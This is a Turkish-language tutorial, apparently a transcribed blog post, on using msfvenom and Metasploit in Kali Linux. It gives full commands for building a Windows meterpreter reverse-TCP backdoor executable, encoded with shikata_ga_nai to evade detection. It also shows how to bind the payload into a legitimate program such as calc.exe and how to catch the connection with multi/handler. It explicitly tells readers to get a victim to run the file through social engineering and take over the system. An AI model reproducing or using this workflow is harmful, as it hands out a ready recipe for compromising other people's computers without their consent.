kali linux`da msfvenom kullanımı
Transkript
kali linux`da msfvenom kullanımı
KALİ LİNUX’DA MSFVENOM KULLANIMI Bu yazımda, Kali Linux'un 2.0 versiyonuna kadar kullanılan msfpayload ve encoder aracı olarak kullanılan msfencode'un yerini alan msfvenom'un nasıl kullanılacağından ve kullanılan parametrelerinin ne işe yaradığından bahsedeceğim. Ardından bir uygulama ile yaptıklarımızı pekiştirip, msfvenom'u pratikte nasıl uygulayacağımızı öğrenmiş olacağız. Msfvenom, msfpayload ve msfencode araçlarının birleşimi olarak Metasploit tarafından yeni nesil payload üretici aracı olarak kullanıma sunuldu. Msfpayload ve msfencode kullanımı oldukça çok parametreye sahipti ve kullanıcılar bu parametreleri aklında tutmakta zorlanabiliyorlardı. Ayrıca araçtan araca zıplamak da oldukça zor olan diğer bir konuydu. Tüm bunlarla birlikte metasploit geliştiricileri Msfvenom aracını üretip, kullanıma sundular. Not :Bu uygulamaların sorunsuz bir şekilde çalışabilmesi için Kali Linux 2.0'ın doğru bir şekilde kurulu olması ve ağ ayarlarının yapılmış olması gerekmektedir. Öncelikle Kali Linux işletim sistemimizde terminali açıyoruz ve msfvenom'un hangi parametrelere sahip olduğunu görebilmek için açmış olduğumuz terminale msfvenom veya msfvenom -h yazıyoruz. Aşağıdaki tabloda msfvenom'un parametrelerinin ne işe yaradığı yer almaktadır. Parametre Adı -p Örnek Kullanımı (payload)msfvenom’da kullanılacak bir payload’u seçer. Oluşturulan zararlı dosya açıldıktan sonra çalışacak olan kod parçasıdır. msfvenom -p “payload adı" LHOST="sizin_local_ipiniz" LPORT="443" msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 Payloadları listeler. msfvenom -l “payload, encoder, nops adı” -l -f msfvenom -l payloads veya msfvenom -l encoders (format)Oluşturulan zararlı dosyayı hangi formatta kaydeceğimizi belirlediğimiz parametredir. msfvenom -f “çıktı formatı” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe (architecture)Oluşturulacak payload’un mimarisini belirler. Msfvenom -a “mimari” -a msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 Dosyanın çalışacağı platformu belirler. msfvenom --platform “çalışacağı platform” --platform msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 --platform windows Payload’un nereye çıkarılacağını belirtir. msfvenom -o “çıkarılacak dizin” -o msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe Encoder seçimini belirtir. msfvenom -e “encoder adı” -e msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai İterasyon sayısını belirler. Yani encoding işleminin kaç kere tekrarlanacağını bildirir. msfvenom -i 10 -i msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 Kötü karakterleri (bad characters) temizler. “msfvenom -b ‘\x00\xff’” -b -x msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 -b ‘\x00’ Oluşturulacak payload’un bir dosya ile birleştirileceğini belirtir. msfvenom -x “birleştirilecek dosyanın adı veya yolu” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 -b ‘\x00’ -x /root/Desktop/calc.exe Birleştirilen dosyanın fonksiyonlarının bozulmasını engelle “msfvenom k” -k -c Çıktı Tipi Çalıştırılabilir Yazılımsal msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe -e x86/shikata_ga_nai -i 10 -b ‘\x00’ -x /root/Desktop/calc.exe -k Birleştirilecek Shell code’u belirler. msfvenom -c “Shell code dizini” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -c /root/Desktop/shellcode.txt Çıktı Listesi asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, pshreflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript Msfvenom bir çok çıktı formatını desteklediği gibi, bir çok platformu da desteklememektedir. Msfvenom’un payload çıktısının çalışabileceği platformlar ise aşağıdaki gibidir. Çıktı Tipi Çalıştırılabilir Platform Listesi osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, solaris, cisco, linux, ruby, java, android, netware, windows Parametrelerin ne işe yaradığını ve hangi anlama geldiğini öğrendikten sonra artık msfvenom kullanarak arka kapımızı (backdoor) oluşturabiliriz. Hazırlamış olduğum payload'un IP adresi benim yerel IP adresim olan 192.168.2.208'dir. Sizler bu adresi kendi adresiniz ile değiştirebilirsiniz. Portumuzu da 443 yaparak bize hangi yoldan geri dönüş sağlayacağını belirlemiş olduk. Backdoor'umuzun formatı exe, mimarisi x86, adı zararli_yazilim.exe, platformu windows, encoder'u x86/shikata_ga_nai ve kaç kere encode edileceğini gösteren değer 10'dir. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.208 LPORT=443 -f exe -a x86 -o /root/Desktop/zararli_yazilim.exe --platform windows -e x86/shikata_ga_nai -i 10 Arka kapımızı oluşturduktan sonra yapmamız gereken metasploit uygulamasını kullanarak ve Sosyal Mühendislik becerinizle yaptığımız exe dosyasını karşı tarafta çalıştırılmasını sağlamak. Metasploit ile Backdoor'dan Gelen Bağlantıları Kullanmak İlk önce terminale msfconsole yazıp metasploit uygulamasının çalışmasını sağlıyoruz. Metasploit arayüzü açıldıktan sonra multi handler'ı kullanmak için use exploit/multi/handler yazıyoruz. Ardından bize ters bağlantı (reverse connection) kuracak olan payload’umuzu set PAYLOAD windows/meterpreter/reverse_tcp, gelen bağlantıları kabul edecek IP adresimizi set LHOST 192.168.2.208 ve 443’üncü porta gelen bağlantıları dinleyeceğimizi, bu bağlantıları kabul edeceğimizi set LPORT 443 şeklinde giriyoruz ve girdiğimiz bilgilerin kontrolünü sağlamak için show options komutunu giriyoruz. Daha sonrasında exploit yazıp, oluşturduğumuz zararlı yazılımı (backdoor) karşıdaki kişiye açtırtmak için bir takım Sosyal Mühendislik yöntemlerini deniyoruz. Bu yöntemleri denediğinizi ve başarılı olduğunuzu varsayarak aşağıdaki görüntüyü almış olup, sistemi ele geçirmiş oluyoruz. Daha sonrasında komutlarla yapmak istediğimiz işlemleri gerçekleştirebiliriz. Örnek olarak;getuid, sysinfo vs... Böylelikle msfvenom'un ne olduğunu, ne işe yaradığını ve nasıl kullanıldığını öğrenmiş olup, metasploit ile oluşturduğumuz bir arka kapıyı kullanarak sistemi nasıl ele geçirebildiğimizi görmüş olduk. Yardımcı Kaynak : http://www.eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-abakis-ve-msfvenom-ile-backdoor-olusturma http://www.blog.tolgaakkapulu.com/kali-linux-msfvenom-kullanimi.html